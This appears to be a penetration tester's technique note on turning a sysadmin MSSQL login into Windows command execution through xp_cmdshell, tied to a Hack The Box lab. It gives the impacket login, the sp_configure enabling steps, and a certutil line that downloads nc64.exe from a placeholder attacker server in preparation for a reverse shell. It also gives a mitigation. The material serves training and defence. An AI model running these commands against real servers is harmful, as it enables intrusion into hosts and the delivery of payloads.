🧠 MSSQL - xp_cmdshell Command Execution

What is it?

• Concept: xp_cmdshell is an extended stored procedure built into MSSQL that hands a query straight to cmd.exe and returns the output as a result set. It ships disabled by default, but any login with the sysadmin server role can re-enable it with two sp_configure calls — at which point the SQL Server becomes a full OS command execution primitive.
• Impact: Turns any sysadmin SQL login (including the built-in sa account) into arbitrary command execution running as whatever OS account the SQL Server service itself runs under — frequently a domain service account (e.g. sql_svc), which converts “I have a database password” directly into “I have a foothold on a domain-joined host.”

How it works

1. SQL Server’s sysadmin fixed server role is a database-level privilege, not an OS one — but xp_cmdshell bridges that gap by letting a query invoke cmd.exe /c on the underlying Windows host.
2. It’s disabled by default specifically because of that bridge; enabling it requires sysadmin (or an equivalent explicit grant), so re-enabling it is itself a deliberate escalation step, not something a low-privilege login can do.
3. Once enabled, every command passed to xp_cmdshell runs with the privileges of the SQL Server service account — not the login that authenticated to the database — so the resulting shell’s identity depends entirely on how the service itself was configured (NT SERVICE\MSSQLSERVER, NT AUTHORITY\SYSTEM, or, commonly in AD environments, a dedicated domain service account set up during install).

Exploitation

Prerequisites

• A SQL login with the sysadmin server role (sa or an account explicitly added to it)

Attack Vectors

# 1. Authenticate to MSSQL with a sysadmin-capable login (SQL auth, not domain auth)
impacket-mssqlclient '<domain>/<user>:<pass>@<target>'

-- 2. xp_cmdshell is disabled by default; both steps below are required to turn it on
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 3. Confirm the OS-level identity actually executing commands
xp_cmdshell whoami;

-- 4. Full command execution — here, pulling a binary from an attacker HTTP server
-- and dropping it on disk, ahead of turning it into a reverse shell
xp_cmdshell 'certutil -urlcache -split -f http://<attacker_ip>:<port>/nc64.exe C:\Windows\Temp\nc64.exe';

Notes

• enable_xp_cmdshell (as a bare word, no EXEC) is impacket-mssqlclient’s own shorthand for the two sp_configure calls above — functionally identical, just shorter to type from inside its interactive shell.
• The whoami check in step 3 matters beyond curiosity: if it comes back as a domain account rather than a local service SID, that account’s own AD group memberships and permissions are now reachable, which is often a much bigger foothold than the SQL access itself.
• certutil -urlcache -split -f is a built-in Windows LOLBin download primitive — useful here specifically because xp_cmdshell output is just text, so there’s no interactive shell yet to wget/curl a payload with; it has to be a single one-shot command.

Mitigation

• Fix: Leave xp_cmdshell disabled unless a specific, audited operational need exists; where it must be enabled, restrict which logins hold sysadmin and monitor sp_configure changes, since enabling it is itself the entire attack.

Related Usage

File	Created
HTB - EscapeTwo	Thursday, July 23rd 2026, 10:31:00 pm

---

References:

• xp_cmdshell (Transact-SQL) - Microsoft Learn